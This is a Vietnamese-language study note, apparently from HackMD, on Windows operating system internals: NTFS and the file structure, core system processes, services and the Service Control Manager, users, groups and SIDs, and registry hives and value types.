---
# System prepended metadata

title: '    Operating System Overview - Windows'

---

<h1>
    Operating System Overview
</h1>


<h2>
    Tổng quan về Windows
</h2>

<h3>
    File System
</h3>

![image](https://hackmd.io/_uploads/HJ2Kk-j-ee.png)

<strong> Tổng quan về File System</strong>

1. Định nghĩa
File system (hệ thống tập tin) là cách mà hệ điều hành lưu trữ và truy xuất dữ liệu trên thiết bị lưu trữ như ổ cứng, USB, SSD,... Nó xác định cách tổ chức dữ liệu thành file, thư mục, phân vùng, và giữ các metadata liên quan đến mỗi file.

2. Vai trò
- Quản lý không gian lưu trữ: chia nhỏ thành các cluster.
- Quản lý tên và đường dẫn file.
- Kiểm soát truy cập (quyền đọc/ghi/xoá).
- Tính toàn vẹn và bảo mật dữ liệu.

**Các loại File System chính trong Windows**

| Loại File System      | Dung lượng tối đa | File tối đa | Hỗ trợ Windows | Ghi chú                                    |
| --------------------- | ----------------- | ----------- | -------------- | ------------------------------------------ |
| FAT16                 | 2GB               | 2GB         | Có             | Cũ, dùng cho DOS                           |
| FAT32                 | 32GB (Windows)    | 4GB         | Có             | Tương thích cao, nhưng giới hạn dung lượng |
| exFAT                 | \~128PB           | \~16EB      | Có             | Dùng cho USB, thẻ nhớ lớn                  |
| **NTFS**              | \~16EB            | \~16EB      | **Mặc định**   | Hệ thống mặc định của Windows hiện đại     |
| ReFS (Windows Server) | Rất lớn           | Rất lớn     | Windows Server | Dùng cho môi trường lưu trữ lớn            |

**NTFS – File System mặc định trong Windows**

1. Cấu trúc NTFS
NTFS tổ chức dữ liệu bằng Master File Table (MFT) – bảng quản lý toàn bộ file, mỗi file là một record chứa metadata, thông tin phân quyền, timestamp,…

2. Tính năng nổi bật của NTFS
- Phân quyền (ACL – Access Control List): phân quyền theo user/group.
- Encryption: mã hoá file/folder bằng EFS.
- Compression: nén dữ liệu để tiết kiệm dung lượng.
- Journaling: lưu log hoạt động, giúp phục hồi sau lỗi.
- Sparse files: file ảo có dung lượng logic lớn nhưng vật lý nhỏ.
- Alternate Data Streams (ADS): lưu nhiều dòng dữ liệu trong 1 file.
- Volume Shadow Copy (VSS): snapshot file tại thời điểm nhất định.
- Hard Link / Symbolic Link / Junction Points.

3. Các thành phần chính trong NTFS
- $MFT (Master File Table): là file chứa tất cả thông tin về các file khác trong NTFS. $MFT như là một file index.html, giúp retrieve data nhanh chóng từ file, folder trong file system của bạn. 
- $MFTMirr: bản sao dự phòng của MFT.
- $LogFile: ghi lại các hoạt động ghi xoá để hỗ trợ phục hồi.
- $Bitmap: theo dõi cluster đã sử dụng.
- $Boot: chứa boot sector.
- $BadClus: đánh dấu vùng bad sector.
- $Secure: quản lý thông tin phân quyền.

<h3>
    File Structure
</h3>

![image](https://hackmd.io/_uploads/Byu5YWiWgl.png)

**Tổng quan về file structure**

1. Volume và Partition
- Mỗi volume (ví dụ C:, D:) chứa hệ điều hành hoặc dữ liệu.
- Có thể format theo các chuẩn: NTFS, FAT32, exFAT.
- Volume gắn kết với một thư mục root (\\), tạo nên hệ thống cây thư mục.

2. Root Directory và Tree Structure
- Thư mục gốc: C:\
- Cây thư mục phân cấp:

C:\\
├── Program Files\\
│   └── Microsoft Office\\
├── Users\\
│   └── EHC_fumosquad\\
│       ├── Documents\\
│       └── Downloads\\
├── Windows\\
│ └── System32\\
Mỗi file/thư mục có đường dẫn tuyệt đối (absolute path):
**C:\Users\anhshidou\Documents\report.docx**

3. Tập tin và phần mở rộng
- Tập tin có tên và phần mở rộng (.exe, .docx, .txt)
- Dựa vào extension, Windows xác định chương trình mở file
- Ví dụ: notepad.exe, flag.png, payload.bat

<h2>
    Process Overview
</h2>

<h3>
    Định nghĩa
</h3>

Process trong Windows, dễ hiểu là các instance của chương trình, chúng cung cấp tài nguyên cần thiết để giúp cho chương trình thực thi.

Process có:
- `Không gian địa chỉ bộ nhớ riêng (private address space)`:

Mỗi process trên Windows được hệ điều hành cấp phát một không gian địa chỉ bộ nhớ ảo độc lập. Không gian này chứa mã thực thi, biến toàn cục, heap, stack, DLL, v.v.

Không process nào có thể trực tiếp đọc/ghi dữ liệu của process khác, Giúp ngăn chặn lỗi hoặc khai thác từ process này ảnh hưởng tới process khác.
- `Một hoặc nhiều luồng thực thi (Multi-Thread)`:

Thread là đơn vị nhỏ nhất mà CPU có thể lên lịch để thực thi. Mỗi process bắt buộc phải có ít nhất một thread (primary thread), có thể tạo thêm nhiều thread khác để xử lý song song..

Đa nhiệm: Giúp một chương trình có thể làm nhiều việc cùng lúc (ví dụ: UI thread, worker thread).

Tối ưu hiệu năng: Lợi dụng đa nhân CPU, giảm thời gian xử lý tác vụ nặng.
- `Handle tài nguyên hệ thống (file, registry, socket,v.v)`

Handle trong OS là một “virtual pointer” (con trỏ ảo) mà hệ điều hành cấp phát cho process khi process cần truy cập hoặc tạo tài nguyên hệ thống như file, registry, mutex, socket… Mỗi khi process gửi yêu cầu tới OS để tạo/mở tài nguyên, OS sẽ tạo resource và trả lại cho process một handle đại diện. Process sẽ dùng handle này để thao tác với resource đó.

Quản lý truy cập: Hệ điều hành kiểm soát ai mở, đọc, ghi vào tài nguyên nào thông qua handle.

Giới hạn quyền truy cập: Handle chỉ hợp lệ trong process đã mở ra nó

- `Thông tin bảo mật (Security Context)`:

Mỗi process chạy với một ngữ cảnh bảo mật (security context), xác định bởi tài khoản người dùng, token, và các policy. Security context chứa thông tin về quyền truy cập, group, privilege, SID, v.v.

Giới hạn quyền: Process chỉ có thể truy cập tài nguyên mà user của nó được phép.

Bảo vệ hệ thống: Ngăn process người dùng thường xâm nhập tài nguyên của process hệ thống hoặc ngược lại.

Phân biệt vai trò: Ví dụ process chạy dưới quyền Administrator có thể làm được nhiều hơn user thường.

<h3>
    Cấu trúc và cách Process hoạt động
</h3>

**Cấu trúc của Process gồm:**
- `Process ID (PID)`: Số định danh duy nhất cho mỗi process
- `Parent Process (PPID)`: Process tạo ra process hiện tại (thường gọi là "parent" hoặc "creator")
- `Thread(s)`: Mỗi process có ít nhất một thread (primary), nhưng có thể có nhiều thread (multithreading)
- `Handle Table`: Bảng quản lý các resource mà process có thể truy cập
- `Virtual Address Space`: Không gian địa chỉ bộ nhớ ảo riêng của process (tách biệt với process khác)
- `PEB (Process Environment Block)`: Lưu thông tin về môi trường thực thi của process

Ví dụ về PID và PPID

![image](https://hackmd.io/_uploads/H1GoJD6bex.png)

Ở đây, PID của explorer.exe là 5356, PID của msedge.exe là 2912 thì -> PPID của msedge.exe sẽ là 5356

**Cách process hoạt động:**

Process hoạt động dựa trên một Process Lifecycle

![image](https://hackmd.io/_uploads/SJp5a8aZle.png)

Trong đó:

- `Start`: Là trạng thái ban đầu. Process ở trạng này khi mới được tạo.
- `Ready`: Khi process đã sẵn sàng được chạy và đã được chuyển vào bộ nhớ thì nó sẽ được gán trạng thái `Ready`
- `Running`: Process được chuyển tới trạng thái `Running` khi nó được trao cho một processor và quá trình chạy được bắt đầu. Tại một thời điểm, chỉ có một process ở trong trạng thái `Running` trên một processor.
- `Waiting`: Process được chuyển tới trạng thái `Waiting` khi process đang chờ đợi tài nguyên nào đó.
- `Terminated`: Process chuyển sang trạng thái `Terminated`khi quá trình thực thi của nó đã hoàn thành hoặc nó bị tắt bởi hệ điều hành.




<h3>
    Các Process quan trọng
</h3>

- **`System.exe`:**
    - *Image path:* N/A
    - *Parent Process:* Không có
    - *Số lượng instance:* 1
    - *User Account:* Local System
    - *Start Time:* Ở thời gian boot
    - *Mô tả:* Chịu trách nhiệm cho hầu hết các kernel-mode thread. Các module chạy dưới `System` hầu hết là các driver (`.sys` file), các `DLLs` quan trọng và các file thực thi kernel.
- **`smss.exe`:**
    - *Image path:* `%SystemRoot%\System32\smss.exe`
    - *Parent Process:* System
    - *Số lượng instance:* Một master instance và một child instance với mỗi một session. Children exit sau khi tạo session
    - *User Account:* Local System
    - *Start Time:* Trong thời gian 1s kể từ khi boot time
    - *Mô tả:* Session Manager process chịu trách nhiệm cho việc tạo session. Khi tạo session, child instance sẽ chạy `csrss.exe` và `wininit.exe` với Session 0 (là session đầu tiên khi bật máy, là session dùng để chạy các system service và các thành phần chính) và `winlogon.exe` với Session 1 hoặc cao hơn (Là các session chứa giao diện cho user đăng nhập vào hệ thống và truy cập tài nguyên).
- **`wininit.exe`:**
    - *Image path:* `%SystemRoot%\System32\wininit.exe`
    - *Parent Process:* Tạo bởi một instance của `smss.exe` đã exit nên thường không hiện parent process name.
    - *Số lượng instance:* Một
    - *User Account:* Local System
    - *Start Time:* Trong thời gian một vài giây kể từ khi boot time
    - *Mô tả:* Wininit.exe chạy các process ở background trong Session 0 như Service Control Manager (`services.exe`), Local Security Authority process (`lsass.exe`), `lsaiso.exe` cho system với enable Credential Guard. Trên Wins 10, Local Session Manager process (`lsm.exe`) được bắt đầu bởi `wininit.exe`,
- **`services.exe`:**
    - *Image path:* `%SystemRoot%\System32\services.exe`
    - *Parent Process:* wininit.exe
    - *Số lượng instance:* Một
    - *User Account:* Local System
    - *Start Time:* Trong vòng vài giây kể từ boot time
    - *Mô tả:* Triển khai Unified Background Process Manager (UBPM), chịu trách nhiệm với các hoạt động background như là services và scheduled task. `Services.exe` cũng triển khai Service Control Manager (SCM), giúp quản lý việc load các service và driver được đánh dấu là auto-start. Ngoài ra, khi người dùng thành công đăng nhập, SCM sẽ tự động cho rằng quá trình boot hoàn thành và đặt registry `HKLM\SYSTEM\Select\LastKnownGood` (dùng để quản lý boot configuration và recovery configuration) thành giá trị của CurrentControlSet
- **`svchost.exe`**:
    - *Image path:* `%SystemRoot%\System32\svchost.exe`
    - *Parent Process:* service.exe (đa số)
    - *Số lượng instance:* Nhiều (thường ít nhất là 10)
    - *User Account:* Tùy thuộc vào `svchost` instance. Thường là Local System, Network Service hoặc Local Service Account. Win10 còn có một số instance chạy dưới quyền logged-on user
    - *Start Time:* Trong vòng vài giây kể từ boot time. Tuy nhiên, nhiều service có thể bắt đầu sau khi boot nên có một số `svchost.exe` sẽ bắt đầu sau boot time
    - *Mô tả:* Là host process cho các các Windows Service. Nó được dùng để chạy cac service DLL. Windows sẽ chạy nhiều instance của `svchost.exe`, mỗi cái sẽ sử dụng tham số `-k` để group các service có chức năng gần nhau. Có rất nhiều services group trên Windows (hơn 50 trên Win10) và các kẻ tấn công có thể tận dụng tính mập mờ này của `svchost.exe` để chạy các DLL gây hại như là service hoặc chạy các process gây hại có tên là `svchost.exe` hoặc gần tương tự.
- **`RuntimeBroker.exe`:**
    - *Image path:* `%SystemRoot%\System32\RuntimeBroker.exe`
    - *Parent Process:* `svchost.exe`
    - *Số lượng instance:* Một hoặc nhiều
    - *User Account:* Là user đăng nhập vào hệ thống
    - *Start Time:* Đa dạng
    - *Mô tả:* Hoạt động như là một proxy giữa các Universal Windows Platform apps (UWP) và Windows API. Các UWP app thường có khả năng hạn chế để kết nối với thiết bị phần cứng và file system, do đó `RuntimeBroker` được sử dụng để cung cấp các mức truy cập cần thiết cho UWP app. Thông thường, khi chạy một UWP app thì sẽ có một `RuntimeBroker` được chạy.
- **`taskhostw.exe`:**
    - *Image path:* `%SystemRoot%\System32\taskhostw.exe`
    - *Parent Process:* `svchost.exe`
    - *Số lượng instance:* Một hoặc nhiều. Instance sẽ tắt khi toàn bộ các task của nó hoàn thành
    - *User Account:* User đăng nhập vào hệ thống hoặc các tài khoản local service
    - *Start Time:* Đa dạng
    - *Mô tả:* Là host process cho các Windows task. **Sau khi khởi tạo, `taskhostw.exe` sẽ chạy một vòng lặp để listen các event sẽ được trigger. Trigger event có thể là khởi tạo một task bao gồm các task được lập lịch, Windows log event,… Có hơn 160 task được config từ trước trên Windows 10 Enterprise và sẽ toàn bộ được ký bởi Microsoft.
- **`winlogon.exe`:**
    - *Image path:* `%SystemRoot%\System32\winlogon.exe`
    - *Parent Process:* Tạo bởi một instance của `smss.exe` đã exit nên thường không hiện parent process name.
    - *Số lượng instance:* Một hoặc nhiều. Instace sẽ tắt khi người dùng sign out.
    - *User Account:* Local System
    - *Start Time:* Trong vòng vài giây kể từ boot time để cho phép người dùng có thể đăng nhập vào hệ thống (Session). Với các instance của các session sau thì sẽ được tạo khi có session mới (thường do RDP hoặc Fast User Switching logons)
    - *Mô tả:* Quản lý việc đăng nhập, đăng xuất của người dùng. Nó sẽ chạy `LogonUI.exe` để lấy thông tin đăng nhập của ngươi dùng sau đó chuyển qua `lsass.exe` để xác minh. Khi người dùng được xác thực, Winlogon process sẽ load người dùng `NTUSER.DAT` (chứa thông tin về tài khoản, các thiết lập) vào `HKCU` và bắt đầu một shell cho người dùng (`explorer.exe`) thông qua `userinit.exe`
- **`explorer.exe`:**
    - *Image path:* `%SystemRoot%\explorer`
    - *Parent Process:* Tạo bởi một instance của `userinit.exe` nhưng nó đã bị exit, nên thường không có tên parent process name
    - *Số lượng instance:* 1 hoặc nhiều với mỗi một người dùng đăng nhập vào phiên interactive
    - *User Account:* Logged-on user account
    - *Start Time:*  Instance đầu tiên được chạy khi người dùng thành công đăng nhập vào phiên interactive login.
    - *Mô tả:* Explorer cho phép người dùng truy cập vào file. Nó là một file browser (thông qua Windows Explorer) và cả giao diện người dùng cung cấp các tính năng như là Start Menu, Taskbar, Control Pannel và chạy một ứng dụng thông qua file extension kết hợp với shortcut file. `Explorer.exe` là một giao diện người dùng default được mô tả trong giá trị Registry `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell`.
- **`csrss.exe`:**
    - *Image path:* `%SystemRoot%\System32\csrss.exe`
    - *Parent Process:* Tạo bởi một instance của `smss.exe` đã exit nên thường không hiện parent process name.
    - *Số lượng instance:* Hai hoặc nhiều hơn.
    - *User Account:* Local System
    - *Start Time:* Trong vòng vài giây kể từ boot time cho 2 instance đầu tiên (cho session 0 và 1). Với các instance của các session sau thì sẽ được tạo khi có session mới.
    - *Mô tả:* `Client/Server Run-Time Subsystem` là user-mode process của Windows Subsystem. Nhiệm vụ của nó là quản lý các user-mode process và thread , import các DLL cung cấp Windows API và tắt GUI trong quá trình hệ thống tắt. `csrss.exe` sẽ chạy với mỗi session. Session 0 cho các services còn session 1 cho local console session (Console Management). Các session khác có thể được tạo thông qua RDP hoặc Fast User Switching sẽ được gắn với một instance của `csrss.exe`
- **`lsass.exe`:**
    - *Image path:* `%SystemRoot%\System32\lsass.exe`
    - *Parent Process:* wininit.exe
    - *Số lượng instance:* 1
    - *User Account:* Local System
    - *Start Time:* Trong vòng vài giây kể từ boot time.
    - *Mô tả:* `Local Security Authentication Subsystem Service` process chịu trách nhiệm xác thực người dùng bằng cách gọi tới packet xác thực phù hợp có trong `HKLM\SYSTEM\CurrentControlSet\Control\Lsa`. Thông thường, nó sẽ là Kerberos cho domain account và `MSV1_0` cho local account. Ngoài ra, nó còn chịu trách nghiệm triển khai `Local Security policy` (như là chính sách password và Audit Policies) và ghi các event vào trong security event log. Chỉ có 1 instance của process này xuất hiện trong hệ thống và hiếm khi process này có process con (trừ `EFS`)
- **`lsaiso.exe`**:
    - *Image path:* `%SystemRoot%\System32\lsaiso.exe`
    - *Parent Process:* wininit.exe
    - *Số lượng instance: 0 hoặc 1*
    - *User Account:* Local System
    - *Start Time:* Trong vòng vài giây kể từ boot time.
    - *Mô tả:* Khi `Credential Guard` được bật (chỉ validate code mới được chạy ở mức Windows Kernel và đảm bảo các thông tin cá nhân được cô lập vào 1 môi trường an toàn), `lsass.exe` được chia làm 2 phần là chính nó và `lsaiso.exe`. Chúng cung cấp lưu trữ an toàn bằng cách chạy một context độc lập với các process khác thông qua kỹ thuật hardware virtualization. Khi có một remote authentication, `lsass.exe` sẽ đóng vai trò như một proxy, xác thực người dùng vào các remote service bằng cách sử dụng RPC channel với `lsaiso.exe`. Nếu `Credential Guard` không được enable thì sẽ không có instance nào của `lsaiso.exe`.


<h2>
    Service
</h2>

<h3>
    Định nghĩa
</h3>

Là một loại process đặc biệt trong Windows, chúng chạy nền và thường khởi động cùng lúc với hệ điều hành, không cần giao diện người dùng và cung cấp các chức năng hệ thống quan trọng như mạng, bảo mật, in ấn,v.v Service chạy mà không cần người dùng login, có thể chạy với quyền SYSTEM.

Service được quản lý bởi Service Control Manager (SCM), thành phần kernel của Windows quản lý trạng thái, khởi động/tắt, quyền, và phụ thuộc giữa các service

<h3>
    Đặc điểm của Service
</h3>

Service gồm:
- `Chạy nền`: Không có UI, không cần đăng nhập để hoạt động.
- `Khởi động tự động`: Đa số service khởi động cùng Windows, nhưng có thể cấu hình thành manual (khi cần mới chạy), delayed (chạy sau khi boot xong), hoặc disabled (tắt hẳn).
- `Quyền truy cập cao`: Thường chạy với quyền SYSTEM, LocalService, hoặc NetworkService – cao hơn nhiều so với user bình thường.
- `Đa chức năng`: Một số service là lõi OS (như Windows Update, Windows Defender, Remote Desktop, Print Spooler…), một số là service từ phần mềm cài thêm (MySQL, Oracle, Antivirus,...).

Nói rõ hơn về chức năng của Service:

- `Tự động hóa`: Service giúp chúng ta có thể tự động hóa những thứ phức tạp như backups, software update, quản lý dữ liệu mà không cần con người can thiệp.
- `An toàn và bảo mật`: Có rất nhiều service quan trọng về bảo mật trong windows như Windows Defender, Windows Firewall hay Windows Event Log.
- `Tăng hiệu năng`: Bởi vì service chạy nền, không cần GUI và có thể cấu hình sẽ giúp service sẽ được bật đúng thời điểm nhằm cải thiện hiệu năng, tránh làm dư thừa hay thất thoát resource của máy
- `Recovery`: Service có thể tự động restart nếu như bị crash
- `Quyền hạn`: Service vì có thể được cấu hình, nên ta hoàn toàn có thể kiểm soát được các service sẽ chạy như nào nhằm tránh nguy cơ bị tấn công.

<h3>
    Cấu trúc của Services
</h3>

`Tên service (service name)`: Định danh duy nhất.
`Display Name`: Tên hiển thị cho người dùng.
`Path to executable`: Đường dẫn tới file thực thi.
`Startup type`: Tự động/manual/disabled/delayed.
`Log on as`: Tài khoản sử dụng để chạy service (LocalSystem, NetworkService, hoặc user riêng).
`Dependency`: Service khác mà service này phụ thuộc (phải chạy trước).


<h3>
    Vòng đời của services
</h3>

Đầu tiên, service được install vào trong hệ thống sẽ chạy nó. Process này sẽ thực hiện load service vào trong `Service Control Manager`.

Sau khi service được load, nó có thể được `Start` để các function của nó bắt đầu được thực thi.

Một service sau khi start sẽ có trạng thái `Running` cho đến khi nó bị `Pause`, `Stop` hoặc máy tính bị tắt đi. Đây cũng là 3 trạng thái của service: `Running`, `Paused` và `Stopped`. Service đang ở trạng thái `Paused` có thể quay lại trạng thái `Running` nếu nó nhận lệnh `Resume`.

<h3>
    Service Control Management
</h3>

SCM là thành phần điều khiển tất cả services trên máy, nó điều khiển việc khởi động, tạm dừng, tiếp tục, xóa service và kiểm tra trạng thái của service. Bên cạnh GUI, ta có thể dùng CLI là lệnh sc.exe (Service Control) để tương tác với Services

Service sẽ đăng ký với SCM thông qua `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services`

**Chức năng chính của SCM**

- `Khởi động service`: Khi Windows boot, SCM đọc cấu hình từ registry (HKLM\SYSTEM\CurrentControlSet\Services) để biết service nào cần tự động chạy.
- `Tắt/dừng service`: SCM có thể tắt hoặc dừng các service theo yêu cầu từ user/admin hoặc khi hệ thống shutdown.
- `Quản lý trạng thái`: Lưu trữ, báo cáo trạng thái các service (Running, Stopped, Paused, Starting, Stopping...).
- `Quản lý dependency`: Đảm bảo các service phụ thuộc lẫn nhau được khởi động/tắt đúng thứ tự.
- `Nhận và xử lý lệnh điều khiển`: Nhận lệnh từ user (qua GUI, lệnh cmd, API, PowerShell...) để start/stop/service.
- `Đăng ký/xóa service`: Quản lý việc thêm, xóa, cập nhật thông tin service trên hệ thống.

**Cơ chế hoạt động của SCM**
    
Khi Windows khởi động, SCM (file thực thi là `services.exe`) sẽ nạp tất cả service đã đăng ký, xác định loại (service thường, driver, v.v), trạng thái khởi động, phụ thuộc,...

Khi user/admin chạy lệnh `net start`, `net stop`, `sc` hoặc thông qua `services.msc`, yêu cầu sẽ được gửi tới SCM để xử lý.

Khi một service cần giao tiếp với SCM (ví dụ báo cáo trạng thái, nhận tín hiệu stop), nó sử dụng các API như `RegisterServiceCtrlHandler`, `SetServiceStatus`…

<h3>
    Xem Service và trạng thái
</h3>

Tìm services.msc

![image](https://hackmd.io/_uploads/S1w7topZge.png)

Services.msc

![image](https://hackmd.io/_uploads/SkKEFjTZgl.png)

Các phần trong service properties:
- **Startup type:**
    - *Automatic:* tự động khởi động cùng với Windows.
    - *Automatic (Delayed Start):* Tự động khởi động nhưng sau Windows.
    - *Manual:* Không khởi động cùng với Windows. Chỉ khởi động khi chương trình, dịch vụ khác cần nó hoặc khi user khởi động thủ công.
    - *Disable:* Vô hiệu hóa. Không thể khởi động cho tới khi start up type được đổi sang các kiểu trên.
- **Logon as:**
    - *Local System Account:* Account có quyền cao, hầu như có thể truy cập vào mọi object trên windows.
    - *This account:* Chỉ định account trong hệ thống mà sẽ chạy service.

- **Recovery:**

![image](https://hackmd.io/_uploads/BkoJ5i6Wxx.png)

`Action when failure`: Take No Action, Restart the Service, Run a Program (Chạy program được chỉ định), Restart the Computer

`Restart service after`: Thời gian hệ thống sẽ chờ sau khi service failure để restart service

`Run Program`: Khi `Action when failure` được set giá trị là Run a Program, đường dẫn tới program được ghi tại đây và các tham số của nó được ghi vào `Command line paramenters`. **Kẻ tấn công có thể lợi dụng trường này để chạy process gây hại.**

- **Dependencies:** Các chương trình, service, driver cần để service có thể chạy

<h2>
    User và group user
</h2>

<h3>
    Định nghĩa
</h3>

User account là một tập các thiết lập được Windows sử dụng để hiểu được quyền của người dùng, kiểm soát file và folder có thể truy cập, các task cho phép thực hiện, các thiết bị và tài nguyên mà người dùng có thể sử dụng,…

User account là cách duy nhất để xác thực và nhận được ủy quyền cho phép sử dụng thiết bị. User account được dùng để phân tách người dùng cùng sử dụng bởi máy tính, thiết bị và đảm bảo họ sẽ không thể gây rối loạn cho cá file, setting hoặc ứng dụng của người dùng khác.

Group User là tập hợp những user account có những tính chất nào đó (như có quyền làm gì, trên tai nguyên nào của hệ thống…  ) để giúp cho việc phân quyền trở nên dể dàng hơn.

<h3>
    Thuộc tính của User và Group User
</h3>

#### Username (Account name)

Thể hiện tên của tài khoản người dùng. Tại tài khoản local, username không thể chưa quá 20 ký tự, bao gồm các dấu cách và không bắt buộc phải là độc nhất.

#### Security Identifier (SID)

Với mỗi tài khoản, Windows sẽ tạo cho một SID riêng biệt.

Dù nói là riêng biệt, nhưng vẫn sẽ có các nguyên tắc trong việc đặt SID:
`Admin`: S-1-5-21-xxxxxx-500
`Guest`: S-1-5-21-xxxxxx-501
`Account tự tạo`: S-1-5-21-xxxxxx-1001

#### Password

Là cách đơn giản nhất để kiểm soát quyền truy cập đối với tài khoản người dùng. Mật khẩu cần được bí mất đối với các người dùng khác.

Ở Windows 10 và 11, chủ tài khoản có thể lựa chọn mã PIN hoặc xác thực bằng gương mặt để đăng nhập hệ thống.

#### User Type

- `Administrator`: Tài khoản người dùng với quyền quyền soát toàn bộ hệ điều hành, ứng dụng và cài đặt.
- `Standard`: Là tài khoản người dùng với quyền hạn chế, chỉ được sử dụng các phần mềm có sẵn, không được tải thêm. Các người dùng này cũng không thể thay đổi các thiết lập hệ thống ảnh hưởng tới các người dùng khác
- `Guest`: Là loại tài khoản không có password, cho phép người dùng tạm thời truy cập vào máy tính và chỉ có thể chạy các ứng dụng có sẵn. Account loại này không thể thay đổi các thiết lập hệ thống. Tài khoản này đã bị disabled ở trên Windows.

<h3>
    Phân loại group user
</h3>

- **Local group:** Gồm các người dùng nằm trên một máy tính hoặc thiết bị. Ta sẽ tập trung vào loại group này ở các mục tiếp theo.
- **Security Group:** Được sử dụng trên Windows domain, có chứa security descriptor. Nó có thể được cấp quyền trên các tài nguyên như file, folder, printer,…. Các scope của group:
    - *Domain Local:* Bao gồm các domain user trên cùng một domain, được dùng để cấp quyền truy cập vào các tài nguyên trên cùng domain
    - *Global:* Bao gồm các domain user trên cùng một domain, được dùng để cấp quyền truy cập vào các tài nguyên trên cùng một domain hoặc trên domain khác thông qua AD trust.
    - *Universal:* Bao gồm các domain user của các domain khác nhau, được dùng để cấp quyền truy cập vào các tài nguyên trên các domain khác nhau.
- **Distribution Group:** Được sử dụng trên Windows domain, được dùng có thể gửi mail cho các domain user trong nhóm.

#### Phân loại Local Group trên Windows

- `Administrator`: User trong nhóm này có toàn quyền trên máy và tất cả những thứ có trên nó, kể cả các tài khoản của người dùng khác.
- `Backup Operators`: User trong nhóm này có thể back up và restore file trên máy tính, bất kể quyền của file đó.
- `Guests`: User trong nhóm này có profile tạm thời khi đăng nhập và sẽ bị xóa khi log out.
- `Power Users`: Có thể làm gần như tất cả những việc administrator có thể thực hiện, nhưng người dùng từ nhóm này không thể thay đổi thiết lập của `Administrator` group.
- `Users`: Các người dùng từ nhóm này là các người dùng bình thường.

<h3>
    Quản lý User và Group User
</h3>

#### Xem danh sách

`Cách 1`: Mở Computer management và chọn vào local users and groups

![image](https://hackmd.io/_uploads/ByOxAtWzge.png)

![image](https://hackmd.io/_uploads/Hy5mAY-fxl.png)

`Cách 2`: `lusrmgr.msc` 

![image](https://hackmd.io/_uploads/Sy3ORYZGll.png)

`Cách 3`: cmd + `net user` để xem danh sách user, `net localgroup` để xem danh sách group 

![image](https://hackmd.io/_uploads/ryGLJ9Wfxg.png)


<h3>
    SID (Security Identifier)
</h3>

<h4>
    Định nghĩa
</h4>

SID – Security Identifier trong Windows và Microsoft Active Directory (AD) là mã định danh bảo mật được sử dụng để xác định các thực thể bảo mật mà hệ điều hành OS có thể xác thực. Trong đó, mỗi thực thể bảo mật có thể là tài khoản người dùng, tài khoản máy tính, một quá trình hay một nhóm bảo mật.

**Cấu trúc của SID**

![image](https://hackmd.io/_uploads/Byffecbzgx.png)

- `Revision`: Version của SID structure (thường là 1)
- `Identifier authority`: Chỉ ra Authority cấp SID cho security principal. 

![image](https://hackmd.io/_uploads/BktixcWfee.png)

- `Subauthorities`: Chứa cá thông tin quan trọng nhất trong SID bao gồm:
    - *Domain Indentifier:* Chỉ ra domain mà account thuộc về
    - *Relative Indentifier:* Phân biệt các accout trong cùng một domain. Có thể dùng nó để xác định xem người dùng là admin hay power user hay không.
        - Ở trong AD có nhiều controller, mỗi domain controller đều có thể tạo SID. Để đảm bảo SID được unique, mỗi domain controller sẽ duy trì một bản sao của account database và khi thay đổi dữ liệu sẽ phải gửi thông tin này tới tất cả các domain controller khác.

![image](https://hackmd.io/_uploads/r13hxcZfeg.png)

Ví dụ: `S-1-5-21-1004336348-1177238915-682003330-512`

- Revision: 1
- Indentifier authority: 5 (NT Authority)
- Domain identifier: `21-1004336348-1177238915-682003330`
- Relative identifier: 512 (Domain admin)

#### Cách SID hoạt động

Khi tạo user, group, hệ thống sinh một SID mới cho chúng. Mỗi lần người dùng đăng nhập, hệ thống sẽ tạo ra access token cho user, trong đó có chứa SID của user và SID của tất cả các group mà user nằm trong. Token này sẽ đại diện cho quyền được truy cập vào tài nguyên của hệ thống. Các SID của user, group là riêng biệt, ngay cả khi user và group đó bị xóa thì các SID sẽ không được sử dụng lại để cấp cho user, group khác.

Với **local account\group**:

- `SID` được tạo với Local Security Authority (LSA) và thông tin được lưu ở trong registry.
- Các `SID` ở trong máy là riêng biệt.

Với **domain account/group:**

- `SID` được tạo bởi domain security authority và được lưu dưới dạng `User or Group` object ở trong AD Domain Service
- Các `SID` ở trong AD là riêng biệt.

<h2>
    Các tính năng riêng của Windows
</h2>

<h3>
    Window Registry
</h3>

<h4>
    Định nghĩa
</h4>

`Registry` là một cơ sở dữ liệu dùng để lưu trữ thông số kỹ thuật của Windows. Nó ghi nhận tất cả các thông tin và cài đặt cho những phần mềm bạn cài trên máy, các thiết bị phần cứng, hồ sơ người dùng, cấu hình hệ điều hành và nhiều thông tin khác.

Registry luôn được cập nhật khi người dùng có sự thay đổi trong các thành phần của Control Panel, File Associations và một số thay đổi trong Menu Options của một số ứng dụng.

Ở HĐH Windows, Windows Registry được chứa trong thư mục: `%SystemRoot%\System32\Config\`

![image](https://hackmd.io/_uploads/HJM9xs-Mxl.png)



<h4>
    Cấu trúc của windows registry
</h4>

![image](https://hackmd.io/_uploads/r1ccbp-Mxe.png)

`Registry` có 2 thành phần chính: `key` và `value`. Trong đó key giống như thư mục, một key có thể chứa nhiều key khác hoặc chứa các string value và value. Tên của key không phân biệt hoa thường.

Có tất cả 7 root key trong Windows (`Registry Hive`), bao gồm:

- `HKEY_LOCAL_MACHINE` (HKLM): Chứa các thiết lập áp dụng cho toàn bộ người dùng trên máy tính
- `HKEY_CURRENT_CONFIG` (HKCC): Cung cấp quyền truy cập vào các cấu hình hardware hiện tại.
- `HKEY_CLASSES_ROOT` (HKCR): Được chia thành 2 nhánh `HKEY_LOCAL_MACHINE\Software\Classes` và `HKEY_CURRENT_USER\Software\Classes` chứa các thông tin về file association, COM object và OLE application. Ứng dụng sử dụng key này để xác định cách quản lý các file dựa trên extension và type.
- `HKEY_CURRENT_USER` (HKCU): Chứa thông tin cấu hình cho người dùng đang đăng nhập vào hệ thống.
- `HKEY_USER` (HKU): Chứa thông tin cấu hình cho toàn bộ user trên hệ thống
- `HKEY_PERFORMANCE_DATA`: Chỉ có trên Windows NT, cung cấp các dữ liệu hiệu năng thời gian thực của các subsystem trên Windows (processor, disk, memory)
- `HKEY_DYN_DATA`: Chỉ có trong Windows 9x, tương tự như `HKEY_PERFORMANCE_DATA`

Value của key được lưu trữ dưới dạng name/data, tức là mỗi value sẽ chứa data thuộc một trong các loại sau:

- `REG_NONE`: Không có loại
- `REG_SZ`: Một chuỗi kí tự bất kỳ
- `REG_BINARY`: Dữ liệu nhị phân
- `REG_DWORD`: Một số nguyên
- `REG_LINK`: Một đường link dẫn tới một key registry khác.


<h4>
